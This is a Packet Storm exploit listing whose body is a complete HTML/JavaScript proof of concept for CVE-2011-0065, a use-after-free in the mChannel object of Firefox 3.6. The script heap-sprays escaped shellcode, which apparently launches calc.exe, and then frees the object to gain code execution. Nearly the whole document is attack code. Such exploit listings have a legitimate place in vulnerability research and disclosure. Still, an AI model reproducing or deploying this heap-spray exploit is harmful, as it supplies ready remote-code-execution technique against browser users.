Mozilla Firefox 3.6 mChannel Use-After-Free

2014-11-25T00:00:00
ID PACKETSTORM:129259
Type packetstorm
Reporter Juan Sacco
Modified 2014-11-25T00:00:00

Description

                                        
                                            `<!--  
Exploit Author: Juan Sacco  
Name: Mozilla Firefox 3.6 mChannel ( Universal )  
Description: Mozilla Firefox 3.6 is prone to an use-after-free  
vulnerability in OBJECT mChannel that allows an attacker to execute  
arbitrary code.  
Tested on Windows XP SP3  
CVE: 2011-0065  
-->  
<html>  
<head>  
</head>  
<body>  
<pre>  
# Title: Firefox 3.6 ( Universal )  
</pre>  
<object id="exploit" ></object>  
<script>  
function exploit() {  
var foo=document.getElementById("exploit");  
  
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new  
Object,0);  
var vftable = unescape("\x00% u0c10");  
var shellcode =  
unescape("%u0004%u0c10%uBCBB%u68F1%u0105%u0106%uBE51%u6623%u0030%u0c10%u7C2A%u68F0%u5B33%u661C%u0030%u0c10%uF1DD%u68F2%u0030%u0c10%u9000%u0000%u0040%u0000%u0c0c%u0c0c%u0038%u0c10%u9090%u9090%u9090%u9090%uC781%u986D%u0007%u078B%uF505%u03F6%u9000%u9090%u056A%uC181%u008E%u0000%u9051%uF08B%uD0FF%ucccc%uEE81%u95Fa%u0004%uFF6A%uD6FF%uCCCC%u6163%u636c%u652e%u6578%u0000%ucccc");  
var vtable = unescape("%u0c0c%u0c0c");  
while(vtable.length < 0x10000) {vtable += vtable;}  
var heapblock =  
shellcode+vtable.substring(0,0x10000/2-shellcode.length*2);  
while (heapblock.length<0x80000) {heapblock += shellcode+heapblock;}  
var finalspray = heapblock.substring(0,0x80000 - shellcode.length -  
0x24/2 - 0x4/2 - 0x2/2);  
  
var heapspray = new Array()  
for (var i=0;i<0x100;i++){  
heapspray[i] = finalspray+shellcode;  
}  
foo.data="";}  
</script>  
<input type=button value="Exploit" onclick="exploit()" />  
</body>  
</html>  
`